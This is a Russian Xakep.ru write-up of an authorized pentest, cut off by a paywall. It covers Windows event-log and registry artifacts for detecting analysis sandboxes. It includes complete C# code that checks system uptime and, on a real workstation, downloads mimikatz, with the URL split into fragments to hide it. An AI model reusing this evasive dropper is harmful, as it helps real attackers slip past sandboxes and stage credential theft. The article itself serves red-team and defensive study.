Содержание статьи
- Как определить, что мы в песочнице
- Редко блокируется рабочий стол
- Большой аптайм
- Незаметна работа
- Не используется панель задач
- Примеры детекта
- Затруднение криминалистики
- Sysprep
- Event Log Explorer
- Разреженные файлы
- Скрипты
- Эмуляция кибератаки
- Remote Services: Remote Desktop Protocol (T1021.001)
- Software Discovery (T1518)
- Exploitation for Privilege Escalation (T1068)
- Ingress Tool Transfer (T1105)
- OS Credential Dumping
- Ingress Tool Transfer (T1105)
- Exfiltration Over Web Service Exfiltration to Cloud Storage (T1567.002)
- Ingress Tool Transfer (T1105)
- Create or Modify System Process: Systemd Service (T1543.002)
- Defense Evasion (TA0005)
- Выводы
Это исследование получило второе место на Pentest Award 2025 в категории «Раз bypass, два bypass». Соревнование ежегодно проводится компанией Awillix.
Кратко о том, что делали и зачем.
Среда: Windows основной ИТ‑инфраструктуры организации.
Сценарии атак:
- фишинговая рассылка (в этой статье мы ее рассматривать не будем);
- проникновение через компанию‑подрядчика — вот про это и весь наш разбор.
Условия тестирования:
- выделенная локальная учетка с правами администратора на устройстве;
- VPN-доступ в инфраструктуру;
- непривилегированная доменная учетка в Active Directory.
Дополнительные запросы клиента:
- отдельно проверить работу песочницы в почтовом шлюзе;
- при эмуляции использовать контркриминалистические (anti-forensic) приемы;
- расширить сценарий, добавив к TTP реальных группировок новые техники и инструменты, — чтобы усложнить задачу и реально проверить экспертизу сотрудников.
Как определить, что мы в песочнице
Для детектирования и обхода сендбоксов мы использовали техники, опубликованные в нашем (совместно с другим спикером) докладе «Война с песочницей: техники по ту сторону баррикад» на конференции PHDays 2024. Эти техники основаны на анализе артефактов и журналов Windows.
Мы использовали лишь часть перечисленных в докладе техник. Давай посмотрим, какие моменты позволяют определить, что мы работаем в песочнице.
Редко блокируется рабочий стол
Блокировка и разблокировка экрана рабочего стола — очень редкие события в песочнице.
Источник — события с идентификатором 812 журнала Microsoft-Windows-Winlogon%4Operational.. Нас интересуют только события с вхождением <, которые генерируются при блокировке и разблокировке экрана рабочей станции.



Большой аптайм
Временные промежутки безостановочной работы (uptime) рабочей станции сотрудника значительно дольше, чем у виртуальной машины песочницы.
Источник — события с идентификатором 6013 журнала System. — время работы системы в секундах. Дополнительно можно учитывать следующие события из того же журнала для более точного подсчета времени работы системы:
- 6005 — запуск службы «Журнал событий Windows» (Event Log), указывает на включение системы;
- 6006 — остановка службы «Журнал событий Windows» (Event Log). Указывает на выключение системы.


Незаметна работа
Если пользователь не работает с офисными документами, значит, высок шанс, что мы в песочнице.
Первый источник — разрешение пользователя на редактирование документов и запуск макросов в офисных документах.
Пользовательский реестр NTUSER.:
HKU\*\Software\Microsoft\Office\*\*\Security\Trusted Documents\TrustRecords
Искать нужно временную метку, указывающую на то, когда пользователь давал разрешение на определенное действие (Enable Editing, Enable Content / Enable Macros), а также учитывать общее количество документов.
Второй источник — событие с идентификатором 300 из журнала Windows OAlerts.. Оно генерируется, например, при появлении запроса на сохранение документа Office (Excel, Word и так далее). В данном случае нас интересует количество таких записей, а также временная метка создания последнего события в журнале.



Не используется панель задач
Пользуясь рабочей машиной, сотрудник будет активно взаимодействовать с панелью задач Windows: нажимать на кнопку «Пуск», поле поиска (TrayButtonClicked), переключаться с одного приложения на другое (AppSwitched), запускать программы, прикрепленные к панели задач (AppLaunch).
Windows также отслеживает обновление значков приложений на панели задач (AppBadgeUpdated) и нажатие правой кнопки мыши по приложению на панели задач (ShowJumpView).
Источник — пользовательский реестр NTUSER.:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage
Примеры детекта
Вот код на C#, который использует признак аптайма системы для определения песочницы (то есть один из перечисленных признаков, тогда как в реальности мы использовали все четыре):
using System;using System.Collections.Generic;using System.Diagnostics.Eventing.Reader;using System.IO;using System.Net.Http;using System.Text.RegularExpressions;using System.Threading.Tasks;class Program{ public struct UptimeEntry { public DateTime TimeCreated; public int UptimeInSeconds; } static async Task Main() { List<UptimeEntry> uptimeEntries = new List<UptimeEntry>(); string query = "*[System/EventID=6013]"; var logQuery = new EventLogQuery("System", PathType.LogName, query); logQuery.ReverseDirection = false; var logReader = new EventLogReader(logQuery); EventRecord record; while ((record = logReader.ReadEvent()) != null) { try { DateTime? timeCreated = record.TimeCreated; string message = record.FormatDescription(); if (!string.IsNullOrEmpty(message)) { int uptime = ParseUptimeFromMessage(message); if (uptime >= 0) { uptimeEntries.Add(new UptimeEntry { TimeCreated = timeCreated ?? DateTime.MinValue, UptimeInSeconds = uptime }); } } record.Dispose(); } catch (Exception ex) { Console.WriteLine("Ошибка: " + ex.Message); } } List<int> filtered = ApplyCorrectedBufferAlgorithm(uptimeEntries); foreach (var val in filtered) { Console.WriteLine(val); } int countGreaterThan = 0; foreach (var val in filtered) { if (val > 43200) countGreaterThan++; } if (countGreaterThan > 3) { string url = "ht" + "tp" + "s:/" + "/git" + "hub" + ".com/" + "ge" + "nt" + "ilki" + "wi/mi" + "mik" + "atz/" + "releases" + "/download/2" + ".2.0-20220919/m" + "imi" + "katz" + "_tr" + "unk.7z"; string publicDir = Environment.ExpandEnvironmentVariables(@"%Public%\Music"); string targetPath = Path.Combine(publicDir, "mi" + "mi" + "ka" + "tz_" + "tr" + "unk.7z"); try { Directory.CreateDirectory(publicDir); using (var httpClient = new HttpClient()) { byte[] fileBytes = await httpClient.GetByteArrayAsync(url); File.WriteAllBytes(targetPath, fileBytes); } } catch (Exception ex) { Console.WriteLine("Ошибка при загрузке файла: " + ex.Message); } } } static int ParseUptimeFromMessage(string message) { var matchEn = Regex.Match(message, @"uptime\sis\s(\d+)\sseconds"); if (matchEn.Success) return int.Parse(matchEn.Groups[1].Value); var matchRu = Regex.Match(message, @"работоспособного\sсостояния\s(\d+)\sсек"); if (matchRu.Success) return int.Parse(matchRu.Groups[1].Value); return -1; } static List<int> ApplyCorrectedBufferAlgorithm(List<UptimeEntry> entries) { List<int> result = new List<int>(); if (entries.Count == 0) return result; if (entries.Count == 1) { result.Add(entries[0].UptimeInSeconds); return result; } int buffer = entries[0].UptimeInSeconds; for (int i = 1; i < entries.Count; i++) { int current = entries[i].UptimeInSeconds; if (current > buffer) { buffer = current; } else { result.Add(buffer); buffer = current; if (i == entries.Count - 1) { result.Add(current); } } } if (result.Count == 0 || result[result.Count - 1] != buffer) { result.Add(buffer); } return result; }}Если скрипт определит, что программа запущена на компьютере сотрудника, то скачивается архив mimikatz по ссылке:
https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.7z
Если же мы в песочнице, программа завершится.

Затруднение криминалистики
Sysprep
Утилита Sysprep (System Preparation Tool) предназначена для подготовки устройства к снятию образа Windows, но в ее библиотеках есть функции, которыми можно воспользоваться для удаления криминалистических артефактов и отсоединения хоста от Active Directory.
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
